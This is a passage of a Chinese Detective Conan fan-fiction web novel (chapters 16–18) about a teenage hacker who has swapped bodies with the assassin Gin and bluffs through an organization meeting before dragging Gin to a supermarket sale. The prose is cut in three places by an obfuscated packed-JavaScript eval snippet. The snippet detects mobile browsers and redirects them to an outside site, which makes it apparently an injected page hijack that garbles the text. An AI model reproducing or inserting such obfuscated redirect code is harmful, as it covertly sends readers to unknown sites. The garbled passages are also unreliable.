可是这次交接的任务并没有什么特别到会引来boss关注的地方。 但除了boss,组织里还能有谁让琴酒如此重视。 贝尔摩德玩笑的心思收敛,转而变得凝重起来。 看来这次的任务,并不简单。 她开始思考这次任务的特别之处,难道说……是和今天提到的那个黑客有关? *** 相叶佑禾擦了擦耳机上的灰尘后,把它戴了回去。 “吓死我了,差点以为要交代在这了。”他小声吐槽:“你们同事之间都这么开玩笑的吗?” 不需要询问,琴酒已经从机车声和贝尔摩德的话中猜出了当时的状况。 除了知道贝尔摩德不会真撞上来外,琴酒也相信光靠自己的肌肉记忆也能安全躲开。 更何况,虽然总是骂相叶佑禾蠢货,但小废物也不是真的蠢到不可救药的,反而还有点自己的小聪明和豁得出去。 琴酒目光移到手机,屏幕上的画面还停留在相叶佑禾所发来的简讯上。 他修长的手指轻轻敲击着沙发扶手,狭长的眼眸微垂,长而茂密的睫毛遮住眼睛,看不清里面的神色。 “看来你也不是很紧张,还有功夫给我发简讯。” 琴酒声音低低的,似乎只是随意嘲讽一句,可听在心里有鬼的人耳中,就变得毛骨悚然了。 “那是当然了。” 就算不使用异能力,他也是一名黑客,键盘玩得六不是基础吗? 相叶佑禾佯装听不懂,得意洋洋地说:“不要小看网瘾少年和键盘的羁绊啊!” 琴酒没有回答。 风声在耳边消散,取而代之的是可怕的寂静。 相叶佑禾看着漆黑如深渊的仓库,也不再和琴酒搭话。 还不知道下一个代号成员是否会和贝尔摩德一样,跟他开个所谓的‘玩笑’。 他要打起十二分精神,维持好琴酒杀手的格调。 相叶佑禾双手插兜,冷着张脸,迈开步伐。 皮鞋踏在满是灰尘的地面,发出“哒哒”声响,余音在黑暗而沉默的空间里一圈圈晕开,仿佛重锤敲击在心头,久久不能散去。 仓库一角,金发黑皮的青年懒洋洋靠在箱子上,闻声缓缓抬头,朝声音来源看去。 月光从窗户透进来,照亮了来人前行的道路,皮鞋撞击地面的声音越来越近,银发男人的身影也渐渐清晰。 他眸光轻飘飘扫来,却如有千斤重,压得人喘不过气。 安室透原本散漫的笑容微凝。 昨天夜里,琴酒发了一张意味不明的蛋糕图片给他,除此之外什么都没说。 无论他发了多少条简讯去试探,也只得到个已读不回的答案。 蛋糕很漂亮,看上去很好吃,拍照的角度选得也很好。乍一看以为只是一张单纯分享生活日常的图片,可那它出自琴酒之手。 组织的顶尖杀手,不可能做如此无意义之事。这张图片一定有更深层的含义。 与接下来的任务相关?如果是这样琴酒不会不清不楚的只甩张照片。 还是说……是警告。 他发现了什么?在试探什么? 安室透把近一个月去过的地方、吃过的东西都仔仔细细回忆了一遍,甚至追溯到更久远的时期,也没想出那张蛋糕图片和自己有什么关系。 总不可能只是买到漂亮的蛋糕,单纯发给他炫耀吧? 想到那种可能,安室透自己都笑不出来。 不是他卧底太久脑子坏掉,就是琴酒被人夺舍了。 暂时不知道琴酒的目的,也不知道他是否发现了什么,安室透没有轻易动用自己的情报势力调查,以免因此正中下怀。 不过他也没有坐以待毙,他调查了售卖这款蛋糕的店铺,并想了好几个‘万一真有什么情况’的应对方案。 要猜测琴酒的真实意图,又要调查蛋糕,还要准备今晚的任务交接并防患未然,安室透这一整天都过得十分充实。 而此刻,更是一天中最紧张的时刻。 安室透稳了稳心神,起身露出一贯的微笑:“Gin,你来了。” *** 来吧!他已经准备好了! 相叶佑禾雄赳赳气昂昂地踏入仓库,却因为黑漆漆的四周变得小心翼翼起来。 连地都看不清,要是绊到东西摔个狗吃屎就全完了。 他在黑暗中摸索了两秒,毫不犹豫地转身,做了一回追光青年。 但没想到这小小的地方还有高手。 窗户下,月光投落的死角中,一顶疑似金色的头发飘了起来,它在半空中转了几十度,似乎有意识地锁定他,蓄势待发。 啊啊啊啊啊啊啊有鬼啊!! 相叶佑禾脚步顿止,心脏骤停。差点拔出腰间的伯/莱/塔来上几枪。 而就在这时,对面说话了。 “Gin,你终于来了。” 那顶金发往前移动了几步,一个除了头发和眸色,皮肤偏黑、衣服纯黑的青年暴露在月光下。 “………” 相叶佑禾在心里闭了闭眼。 对不起,他知道这句话有点过分,但……皮肤黑就不要在晚上穿纯黑色的衣服,还藏在这么隐蔽的角落里了!! 就算要这么做,也请务必玩一下手机,制造一点光亮好吗? 否则他合理怀疑对方是故意吓人! 瞥见金发青年嘴角噙着的笑意,以及那落在自己脸上,似乎在观察他表情的目光,相叶佑禾深深吸了一口气。 很好,确定了。 这又是‘玩笑’。 你们黑衣组织可真幽默,见面还要准备个‘玩笑’给对方惊喜惊喜。 相叶佑禾觉得他先前的准备工作还是做少了。 下次他也准备点惊喜送他们。 相叶佑禾在口袋里敲敲打打。 【你们同事之间还挺和谐友善的。】 琴酒眉头微皱:“不要以为别人笑着和你搭话,就觉得他是好人。” 他显然从耳机里听到了波本那笑盈盈的声音。 相叶佑禾当然知道。 波本,是与贝尔摩德一样的神秘主义者,同样在情报搜集方面出类拔萃。 相叶佑禾最清楚这类工于心计的人物有多麻烦,交谈起来又有多累。 不过比起这些,他之后可有得忙了。要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964895|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法迅速换回来,除了琴酒以外的人,他都得挨个做个详细调查了。 黑衣组织这么多人……可真是个大工程。 相叶佑禾思绪发散的这段时间,令空气再次陷入沉默。 看得安室透唇角的笑意更加谨慎。 在他的眼中,银发男人径直朝他走来,最后在距离五米远的地方站定。 这是相对安全的距离,能在手枪作战中多一些反应和躲避的机会,也能在猎物逃跑时,快速做出应对措施,不至于让猎物逃跑。 银发男人不言不语,只用那看透一切的目光锁定他,狭长的绿眸在月光中泛着冷意。 安室透心跳加快。 果然,那张蛋糕图片就是有问题。 他脑子高速运转,面上依旧保持着琢磨不透的笑容:“嗯?还真是稀奇,怎么突然换了个发型?” 是转移话题,也是不着痕迹的试探。 “是啊,我也觉得新奇。”贝尔摩德走进来,旁边还跟着坚持戴墨镜的伏特加。 相叶佑禾:“……” 这小弟铁定有外挂。 “怎么?”贝尔摩德点了根烟,嘴唇一张一合间,烟雾模糊了面容,撩人心弦的面庞若隐若现:“是什么让我们的topkiller做出如此改变?” 是什么呢? 伏特加眼观鼻,鼻观心,心快要飞了。 想说,好想说,但是不敢。 看吧,他早就说过把头发放下来,琴酒非说什么:没必要,与其你又因为披头散发搞出什么丢人现眼的事,不如就这样扎着。 相叶佑禾在心里指指点点,只是被纽扣缠了一次而已!怎么就丢人现眼了。 安室透的目光不经意扫过贝尔摩德和伏特加的耳朵。 没有耳机。 暂时可以排除围剿他的可能了。 他揶揄道:“看起来清爽干练不少,以后说不定可以多做这方面的尝试,一成不变也太无聊了。” “如果不知道什么发型适配,可以来问我。”贝尔摩德撩了撩自己的长发,用性感的嗓音闷笑了两声:“在这方面,我可是很有经验的哦。” 对吧对吧! 相叶佑禾眼睛微亮,觉得这两人非常有眼光。 哪像琴酒,只不过扎两条辫子就生气破防,脸色差得跟欠他几百万似的。 有那么好的头发,只会披着真是暴殄天物! 相叶佑禾倒是很想咨询一番,从小留短发的他对发型确实不擅长,麻花辫还是小时候看奶奶编绳学会的。 可惜了,顶着琴酒这张脸根本开不了这个口。 一直关注着琴酒的伏特加,敏锐地捕捉到对方细微的情绪。 果然,就算是大哥,在恋爱中也避免不了容貌管理。 既然大哥开不了口,那就他来吧! 伏特加虚心求教:“是吗?那贝尔摩德你教教我吧。” “嗯?”贝尔摩德目光落在伏特加短发上,沉默了一瞬:“你问波本说不定更恰当点。” “你会易容,你更厉害。”伏特加挠了挠头:“而且长头发的我也好奇。” 相叶佑禾:……? 贝尔摩德:…… 波本:…… 电话另一头的琴酒:? 他咬牙切齿:“你们在聊、什、么。” 16.第 16 章 相叶佑禾沉默了。 或许比起沉默,他更应该发出土拨鼠尖叫。 伏特加的一句好奇长发,不就相当于直说是替谁要的。 现在好了,顶着琴酒面容的相叶佑禾不仅要接受贝尔摩德和波本诡异的目光,还要听电话另一头的琴酒质问。 相叶佑禾:“……” 【聊头发】 琴酒气笑了。 他怎么不知道,组织任务交接什么时候变得这么日常了? “让他们别废话,快点汇报任务进程。”琴酒不耐烦地说。 相叶佑禾也受不了两个情报人员明目张胆的眼神,万一自己表情哪里不到位,被捕捉到就完蛋了。 “别废话。”他冷着张脸,语气满是不悦:“快点汇报任务进程。” 伏特加一个激灵。 大哥不高兴了。 他果然还是应该私底下去要。 没搭理正在忏悔中的伏特加,相叶佑禾说完后往旁边走了两步,假装自然地融入黑暗中后,紧绷的精神稍微放松了一些。 黑暗是最好的保护色。 这么想着,还有点羡慕起肤色偏黑的波本来,往那一站跟不存在似的。 “你还是这么急不可耐。”安室透耸了耸肩。 虽然还没弄清蛋糕图片的意思,不过看样子也没到达迫在眉睫的地步。 “当然可以,不过……”贝尔摩德看向琴酒的方向,浓浓的夜色将他们包裹,她看不清银发男人的同时,对方也看不清她脸上的探究:“汇报之前你是不是该把耳机给摘了。” “确实,还是说有更重要的事必须要戴着。”安室透善解人意道:“如果是这样,那就没办法了。” 相叶佑禾觉得这个叫波本的家伙,还挺茶的。 这俩代号成员是因为金发惺惺相惜,还是特别讨厌琴酒这家伙啊,不然怎么老一唱一和的‘围攻’自己。 相叶佑禾神游天际中,不动声色地敲了下手机。 提醒这个非要他说一句自己说一句的杀手搞快点。 “这不是你们该管的事,把你们多余的好奇心收起来。” 永远追随在琴酒身后的伏特加,此刻当然也站在男人身后。 他默默看了眼银发青年,尽管只能看到个大概轮廓,也足够想象出他脸上的神情。 谁能想到一脸冷淡、无情到只剩下事业心的大哥,居然会在谈组织机密的时候,偷偷和小情人通着电话呢…… 嘶……听上去好刺激。 瞥了眼蒙在鼓里的两人,伏特加觉得自己似乎高了一截。 安室透打了个寒颤。 刚才好像有谁在念叨他。 “好吧好吧。”他压下心头不舒服的感觉,起了个头:“……然后,我伪装成清洁工顺利拿到了这份U盘,当然,该清理的人也都清理了。” 终于要结束了吗? 听了半天打打杀杀,早就开始犯困的相叶佑禾总算精神一点了。 他压下打哈欠的欲望,接过U盘夸赞了一句:“不错。” 总算能回去了。 相叶佑禾刚要离开,便听到贝尔摩德叹息一声:“真可惜,这次任务里雪莉的消息,也是假的。” 雪莉? 相叶佑禾在心里重复了一遍这个名字。 “哼,早就猜到了。”琴酒的冷笑从耳机中传来:“没关系,藏吧,就让她带着那份以为能躲过去的天真,藏得越深越好。当她以为能平安无事、露出欣喜的笑容时,我会亲自结束这场游戏,好好欣赏她眼中的恐惧。” 相叶佑禾:“……” 一片寂静。 没有听到复述的话,琴酒问:“怎么不说?” 相叶佑禾:“……” 一定要说吗? 他一定要说这种台词吗? 哪怕他是正值中二期多发的高中生,也脚趾扣地了。 琴酒不知道他内心的想法,冷冷提醒:“别浪费时间,再过一会你这具身体该去休息了。” 谁在浪费时间啊! 说这么一大长串中二台词才是真浪费时间。 相叶佑禾看了眼手表,八点五十分,再过四十分钟他的身体确实该睡觉了。 等等,今天是……周六! 相叶佑禾突然想起他还有很重要的事要做,非常迫切! 他抬脚就要走,却对上黑暗中那一点猩红。 ——是贝尔摩德手中夹着的香烟。 明明她和波本刚才还跟说相声似的,你一言我一语把气氛炒得热闹不少,怎么现在都安静下来不说话了? 难道说……这个话题不回答,琴酒的人设就ooc了? 相叶佑禾:“。” 彳亍吧。 相叶佑禾闭了闭眼。 杀手就保持冷酷的人设啊!突然搞什么中二发言! 他身上突然爆发出惊人的寒意,让贝尔摩德和安室透心一惊。 贝尔摩德故作镇定地理了理发丝。 怎么回事?她为了柯南将雪莉踪迹压下去的事被察觉到了? 安室透垂眸。 U盘里假信息他做得足够逼真,绝对不会有问题,更何况琴酒连看都还没看。 那么……是其他地方出了问题。 最有可能的便是现在正和琴酒通电话的人。 他在和琴酒传达什么? 该不会是……贝尔摩德和安室透连忙在脑中回忆任务里,有没有疑似组织派来监视的人。 时间不等人,相叶佑禾飞速做好心理建设后,猛地睁开眼。 锐利的眸光直直射来,仿佛一把利刃架在脖子上。 贝尔摩德和安室透的警惕瞬间拔到最高点,他们紧紧盯着琴酒,不敢有一丝怠慢。 “哼,早就猜到了。”即使在伸手不见五指的黑暗中,相叶佑禾也感受到了三双眼睛一眨不眨地注视着他。 羞耻心瞬间拉满了。 他绷着张脸强装冷静,声音却难免有些颤抖:“藏吧,藏得越深越好,等游戏结束时,她会意识到整个世界都在我注视下,就算躲到天涯海角也翻不出我的掌心。 而这一刻——她眼里的恐惧才足够让我兴奋到颤栗。” 琴酒:“?” 贝尔摩德:“?” 安室透:“?” 伏特加:“大哥说得对!” 不过这样会不会吓到电话另一头的小情人啊? 听着相叶佑禾那变态的颤音,琴酒两眼发黑。 “我是让你这么说的么?” 相叶佑禾还在感叹幸好不是自己的脸,要不然这会铁定熟透了。 他偷偷摸摸扣字:【不是吗?你叽里咕噜说了一大堆,忘记了,反正意思都一样。】 琴酒捏了捏眉心。 也许,他以后应该更冷酷一点。 白担心了一场的贝尔摩德/安室透:“……” “嗯……嗯,我都要开始同情她了。”贝尔摩德深深吸了口烟,附和了一句:“谁叫她要背叛组织呢。” 不过,琴酒最近的任务确实有点多,就算是组织劳模,在高压下也难免开始产生变化…… 嗯,能理解。 安室透和贝尔摩德决定以后任务尽量拖长点,以休息玩乐为主。保持乐观心态。 但该做的事,也必须要做。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969507|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安室透笑道:“Gin,我听基安蒂说你那个暗杀任务推迟了,出什么问题了吗?” 暗杀任务? 相叶佑禾突然想起灵魂互换后,伏特加问的那句话。 ——‘大哥,今天杀谁?’ 不会吧,接下来该不会要他去杀人吧? 相叶佑禾内心一万个拒绝,像他这种遵纪守法的公民,万万做不来杀人的事啊! 就算用琴酒的身体也不行! 当然,琴酒用他的身体杀人也不行! 在他纠结时,安室透再次发出动人的声音:“需要帮忙吗?” 天籁啊! 需要!非常需要!! 相叶佑禾立刻看向左边:“那就交给你了。” 安室透的声音从右边传来:“嗯?直接全权转交给我吗?” “嗯。”虽然迫不及待,但相叶佑禾依旧维持着琴酒的高冷,缓缓转向右边,高深莫测:“我有其他重要的事。” 看来这件事是真的很重要了,居然会让琴酒把自己的任务交给其他人。 安室透眸光闪了闪。 “虽然我也不轻松,不过你看上去更忙。”安室透在这之前还苦恼要怎么参与进这个任务,没想到这么轻松就拿下了。 太过轻松,反而显得有鬼。 他面上不显,笑道:“那就交给我吧。” 他会想办法把暗杀对象保护下来的。 天使啊! 相叶佑禾热泪盈眶了。 波本君,从此以后你就是我心目中的天使了! ——黑天使! “谁让你擅作主张的?”琴酒冰冷的声音在耳畔响起。 啊,忘了还有琴酒。 相叶佑禾摸了摸鼻子:【我也是没办法的呀,咱俩现在这种状态去做任务可是很危险的,一不小心暴露了,我们就是实验室里的室友了。】 更何况。 相叶佑禾有些小得意:【承认吧,你也觉得我刚才做得很对,否则也不会现在才出声。】 “小聪明。”琴酒不置可否。 不出声阻止,一是如相叶佑禾所说,现在的处境最好不要进行高难度任务;二则是……能以此试探一些小老鼠。 “更重要的事……”贝尔摩德饶有兴趣地说:“是那朵小樱花吗?” 小樱花? 这又是什么? 听起来是个代号,但怎么跟酒没有关系。 相叶佑禾看了眼时间,九点零五分,不行,再不走真的来不及了。 “你已经找到那名嚣张的黑客了?”安室透惊讶。 他心中一沉。 这下可糟了,竟然让组织先找到。 黑客—— 相叶佑禾飞了的心硬生生被拽了回来。 他确实是一名黑客,因为嚣张的作风在网上拉了不少仇恨,但小樱花跟他完全扯不上关系。 他的代号是F,那个按下F键就能逃离地球、引爆地球、拯救世界等等的F键。 顺带一提,他的愿望是按下F键拥有普通人生~ 综上所述,虽然觉得小樱花不是自己,相叶佑禾还是从中嗅到了一丝危险的气息。 “小樱花?”相叶佑禾意义不明的咀嚼着这几个字。 那双隐藏在黑夜中的绿眸,微微眯起。 “怎么?”琴酒没有阻止他不该有的好奇心,淡淡反问:“你很好奇?” 与此同时,贝尔摩德笑了一声:“差点忘了,你不是很喜欢这个代号,但他/她当初挑衅警方下的那场樱花雨,不觉得很讽刺很合适么?” 相叶佑禾裂开了。 WTF,还真是他! 17.第 17 章 也许是因为现实生活需要伪装成一个礼貌,但性格平平的孩子,相叶佑禾在自己拿手的范围内,便不再想压抑内心。 就算不用异能力,他对自己的黑客能力也有着很强的自信心,于是在网络上‘招猫逗狗’,今天进攻这个组织让他们焦头烂额一下,明天潜入那个机构让他们气急败坏一下。 总之玩得非常开心。 至于他们说的樱花雨,他真的不是故意讽刺警方啊! 也许是因为认识几个警察、加上作为普通人自然该对警方有好感,相叶佑禾在网上溜达间,发现了他们那漏洞百出的防护系统,于是就好心帮忙加固了一下,为了让他们放心沿用,他还特意选了代表警方的樱花表示自己的友善呢! 没想到会被误以为是挑衅。 相叶佑禾两眼一闭,走得很安详。 警方就算了,你们黑衣组织掺和进来干什么!! 因为他在网络上那嚣张的作风,以及绝对的实力引来了不少人关注。 有讨厌他的,想要杀之后快;也有欣赏他抛来橄榄枝的,或者寻求帮忙的…… 诸如此类的情况太多太多,相叶佑禾压根懒得搭理,理所当然的,忽略了黑衣组织。 说实话,但凡再早个一天知道,他其实也没太大感觉。 相叶佑禾对自己的实力有着绝对的自信,只要他想,任何人都不会在网络上抓到他一丝一毫线索。这也是他在网上这么肆无忌惮的原因。 可惜,他现在跟琴酒灵魂互换了。 想要抓他的组织就!在!身!边!还是顶尖杀手!心思敏锐!眼光毒辣! 相叶佑禾越想越窒息,感觉他的自由以及普通生活又飘忽了一下。 绝对!绝对不能让琴酒发现!! 回想起琴酒那一反常态的反问,相叶佑禾又在兜里偷偷摸摸扣字:【突然出现个不符合你们组织风格的代号,好奇嘛。】 他谨慎地试探:【看来这个小樱花不是你们的人,代号还挺可爱的,是个女孩子吗?】 “谁知道。”琴酒不想跟无关人员过多讨论这件事:“告诉他们没有,继续找。” 相叶佑禾乖巧复述。 既然琴酒不想提,他也乐得略过这件事。 少说少出错。 “是吗?”贝尔摩德叹了口气:“小樱花还真是能藏。” 安室透内心也松了口气。 没找到就好,那样厉害的黑客如果落入组织手中,不论是对警方还是其他组织,都是致命的打击。 他要在组织先一步找到‘樱’才行。 “唉,希望他/她真的像樱花一样。”安室透假惺惺地感叹:“那今年樱花盛开时,就能出现在我们视线中,不用大费周章的满世界寻找了。” 相叶佑禾每听一遍这个词,心里就哆嗦一下。 张口樱花闭口樱花的!谁允许他们给自己取这种代号的!经过他本人同意了吗?! 小心告他们侵犯名誉权! 可恶,好死不死,他的发色还真就是樱花粉。 虽然代号是黑衣组织给取的,一般人不会往这方面联想,但奈何他心虚啊! 谁叫身边就有个找他的杀手。 相叶佑禾泪流满面了。 要不找个机会让琴酒把头发染成绿色?也不太行,这不就此地无银三百两了吗? 啧,还是得尽快解决掉灵魂互换的事,让琴酒滚出他的世界。 不过他原先用情报威胁的办法就不能用了,还是得从给琴酒身体下毒这里出发…… 引起辗转间,相叶佑禾瞥了眼时间,面色大变。 卧槽,怎么就九点十分了!! 啊啊啊要赶不上了!! 黑客什么的先放一放,现在最重要的是他接下来要做的事! “闲聊到此结束。”相叶佑禾步伐坚定,这次没有任何事能阻挡他离开! “ok,那就下次再见了。”安室透和贝尔摩德摆摆手。 相叶佑禾充耳不闻从两人身旁经过,带起的风吹起了两人的发丝。 尽管他步伐沉稳,但依旧能看出他很着急。 是有什么急事吗? 耳机对面的人又给他报告了什么? 两人若有所思。 啊啊啊怎么办,只剩下二十分钟,从这里过去估计来不及了! “你在着急?”琴酒从刚才的对话、语气中判断出相叶佑禾的状态:“发生了什么?” 对哦,琴酒!还有琴酒! 相叶佑禾眼睛一亮,声音又快又沉重:“琴酒,你听我说,现在有一件十万火急的事,非常非常重要,你现在立刻赶到这个地址,记住,是立刻,不要耽误!到了之后发信息给我。” 说完,立马挂断电话。 他的语气实在凝重,琴酒不由坐直了身体。 相叶佑禾对自己的脆皮身体非常宝贵,也清楚的知道这具身体还没彻底退烧。 在这样的情况下,他依旧要求自己顶着寒风出门,甚至忘记了嘱咐多穿衣服,保暖措施要做好。足以见得情况有多紧急。 琴酒双眼微眯,起身拿起外套出门。 到底发生了什么事? *** “伏特加,琴酒最近这么忙,你应该也挺辛苦吧?”在伏特加要跟上去时,安室透突然出声。 跟大哥出任务确实辛苦,在车上吃快餐是常有的事,但是大哥对任务认真的证明! 伏特加扶了扶墨镜:“还好,大哥又不是什么魔鬼。” 更何况今天没做任务,反而围观了很多刺激的场面。 安室透没有反驳,只是笑了一声,从口袋里掏出一张票:“这次任务需要,托人抢了张演唱会的票,不过临时发生了点变故没能用得上,你用得上吗?” 伏特加惊呼:“是冲野洋子!位置竟然这么好?既能看清洋子小姐的脸,又不会太引人瞩目……波本,你这家伙真有一手!” 安室透摊了摊手:“毕竟任务需要。” “谢了。”伏特加心花怒放地把票装进口袋里。 “不过你有时间去看吗?”安室透似乎只是单纯一提。 “之前的话估计没有,不过现在……”想到只是短暂交接个任务都难舍难分的两人,伏特加感叹:“大哥也到了这个年纪该有的时期,我时间应该比较多。” 大哥陪小情人,他去看演唱会,完美! 安室透和贝尔摩德纷纷愣了一下。 这个年纪该有的时期…… “更年期吗?”贝尔摩德调侃道。 “什么啊!”伏特加不满地看了她一眼,看在这张门票、以及大哥那无所顾忌的作风,不用他说过段时间也会传出谣言。 于是他凑过去小声道:“我和你们说了你们可不要告诉别人啊。” “哦?这么神秘?” 安室透和贝尔摩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975743|160696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德凑过去。 伏特加有些小激动:“大哥他啊,坠入爱……” “伏特加,你怎么还在这里。” 冰冷的嗓音在仓库中炸开,惊得正在八卦的三人瞬间背脊发凉。 伏特加回过头,黑暗中,一道修长挺拔的身影站在不远处,淡淡的杀意从他四周散发出来。 伏特加冷汗直冒:“大、大哥……” 贝尔摩德心跳加快,她扬起一个笑容:“Gin,真不好意思,只是……” “还不走?”低沉的声音,每个字都带着不容置疑的压迫感,令人不寒而栗。 相叶佑禾此时又急又烦,压根没心情听其他人说话。 他急急忙忙地走到保时捷面前,等了半分钟发现伏特加还没过来,没办法只能折回来找他。 没时间了伏特加怎么还在这磨磨唧唧的啊! 浪费时间就等于浪费生命知不知道!! 伏特加小跑过去:“来、来了大哥!” 相叶佑禾转身就走。 只留下同样一身冷汗的贝尔摩德和安室透留在原地。 车子发动的声音在仓库外响起,很快消失。 这间废弃仓库又恢复了寂静。 半响,‘咔嚓’一声,火苗从打火机中冒出,照亮了贝尔摩德深邃的眉眼。 她深深吸了一口后,吐出烟雾:“坠入爱……河?” 安室透:“……好像也没有别的词了。” 空气又安静了两秒。 贝尔摩德弹了弹烟灰:“伏特加这家伙,什么时候也变得这么有心眼了。” 安室透接道:“竟然开这种玩笑糊弄我们。” 两人完全无法想象琴酒坠入爱河的样子,只要一脑补…… 安室透和贝尔摩德同时打了个寒颤。 “哈哈,天气真冷。”贝尔摩德干笑了两声,侧头:“刚才为了不迟到我只能骑最近的机车过来,回去的路上稍我一程吗?” “抱歉,这次没办法。”安室透耸了耸肩:“我还有别的急事。” 今天的事实在太诡异了,他想试试能不能偷偷跟上去。 贝尔摩德目送他离开:“组织有你们这些勤劳的人,boss会很欣慰的。” *** 组织最勤劳的人——琴酒,此刻正面无表情地站在一家店铺面前,他的周围围了一些年纪稍长的人。 琴酒总有种不好的预感,但那小废物,应该不会为了这种事把他叫出来。 他不耐烦地看了眼时间。 九点二十八分。 他已经在寒风中站了五分钟了。 在他耐心快要到达极限时,一道熟悉的身影跑了过来,最终气息凌乱地停在他面前。 “呼——好险,差点就赶不上了,伏特加的车技真好啊。” 让他快点,没想到能飙这么快,不过连闯这么多红灯,真的不会被抓吗? 琴酒眉头微皱,听到相叶佑禾的话,不祥的预感更加强烈了。 “赶上什么?任务交接时发生了什么特别的事?” 对他特别的事多了去了!尤其是黑、客、‘樱’! “没有。”相叶佑禾一把揽住他的肩膀,手动帮他转了个身,面向店铺前方:“现在,最重要的是参加米花超市一周一次的半价活动!” 琴酒:……? 他脸上露出狰狞地笑容:“你·再·说·一·次。” 18.第 18 章 琴酒这一刻是真动了杀心。 他一向讨厌做无意义的事。 而此刻,他错信了相叶佑禾,因为担心,拖着这副尚未退烧的菜鸡身体,迎着寒风赶到目的地,又和一群上了年纪的人站在一起,等待了五分钟后—— 相叶佑禾告诉他这一切只是为了抢超市的半价商品。 “你想死吗?” 浓浓的杀意弥漫,可惜,现场的人满心满眼都是进超市抢半价商品,丝毫没有感受到这吓人的威压。 距离琴酒最近的相叶佑禾同样,他此刻眼观六路耳听八方,揽着对方的肩膀,带着他在人群中往前走,生怕一个不小心挤不进去。 “没有啊,谁会想死呢?” 心不在焉地回完,他才后知后觉地发现琴酒好像在生气。 在这样紧张重要的时刻,相叶佑禾还抽空向他解释:“我也没办法嘛,我只是个生活拮据、需要自己兼职维持生活的穷学生。” 他们家只是普通家庭,如果单纯上学、日常开支是足够的,但奈何他的身体总是隔三差五的出问题,看病吃药很花钱。 年幼的相叶佑禾不想总因为自己拖累奶奶,所以经常会跑去参加抽奖活动,然后再暗箱操控让自己抽中大奖,每次得到的金额、奖券都够他们好好生活一段时间。 但次数多了,难免引来一些心怀不轨之人。于是相叶佑禾就遭殃了,体验了一把有钱人家公子哥的感受——被绑架。 当时的他被绑了炸弹关在屋子里。巧的是,楼层外还有另一伙炸弹犯安装的炸弹,警察来拆弹时,绑架他的人还以为是奶奶报的警,差点撕票。 好不容易解除误会了,楼层里的炸弹突然重新跳动,如果不是有异能力,相叶佑禾刚在横滨捡回来的命,又要交代在米花町了。 再之后……相叶佑禾很不想回忆那段混乱的场景,不过也让年幼的他,因此进行了深刻的反思。 异能力还是少使用为好。 以及中奖什么的……还是太引人注目了。 于是他开始自己捣鼓计算机,并想其他更为隐蔽的办法来补贴家用。 但奶奶去世后……那些行为也就没有意义了。 黑客不缺钱,可超出不符合身份的范围,只会引来怀疑和麻烦。 所以相叶佑禾老老实实的找了兼职,维持生活的同时,也享受这份普通带来的安稳。 但是。 “因为咱俩灵魂、咳,因为咱俩的事我今天都没去兼职,预计未来几天可能都去不了……损失相当惨重!所以这次的半价活动更不能错过了!” 相叶佑禾一边说,一边从口袋里掏出一个口罩。这是他的习惯,感冒后总会多揣一个在身上。 但忘了他和琴酒灵魂互换了,现在感冒的人是琴酒。 也没事,现在正好能用上。 相叶佑禾拆开口罩戴起来,身为犯罪分子,琴酒这张脸还是少暴露在大众视野下比较好。 被认识这张脸的警方发现,他的和平日子到头了。 被认识这张脸的组织发现……琴酒生气,他的好日子也到头了。 等等,怎么倒霉的都是他? 相叶佑禾死鱼眼:“而且我本来没想叫你来的,这不是你们那什么聚会耽误了时间,我怕赶不上才让你先过来。” 万一活动开始他还没到,就只好让琴酒代替他进去买了。 现在想想,哪怕他死皮赖脸地求琴酒,琴酒都不可能答应他进去抢商品。 还好自己赶过来了。 “你想要买的东西,以及兼职损失的钱我十倍给你。”琴酒厌恶地扫了眼擦着他胳膊过去的人,迫不得已往相叶佑禾身边挪了一步,用他隔开其他人。 相叶佑禾见状,动作自然的把手搭在他肩上,用身体替对方阻挡拥挤的人潮。 看着轻而易举就开辟出来的路,相叶佑禾忍不住感叹:这身体真好用啊。 平时他都是被挤得晕头转向的那个。 琴酒深深吸了口气,声音里充满了怒气:“离开这里,现在、立刻、马上。” “不要。”相叶佑禾想都不想就拒绝了:“我才不要和你有金钱关系呢。” 用他的钱,等着被工藤新一发现蛛丝马迹、或者日后被黑衣组织灭口的理由加一吗? “好啦好啦,你就当是肚子饿出来吃顿饭,却碰上需要排队的情况就行了。”在谈话间,两人已经挤进了超市。 相叶佑禾轻车熟路地来到购物筐面前,修长的手臂一伸,精准地在无数手里捞出两个购物筐。 他自己拿一个,把另一个塞进琴酒手里:“来都来了,帮我一起拿点吧!拜托拜托!一会请你吃甜品!” 毫无诱惑力的东西。 琴酒脸色黢黑:“我.不.需……” “啊!再不开始一会想要的都被人拿完了!我们也走吧!”相叶佑禾拍了拍他的肩膀:“gogogo!” 随后转身离开,加入抢购大军,完全忽视了他的话。 琴酒:“……” 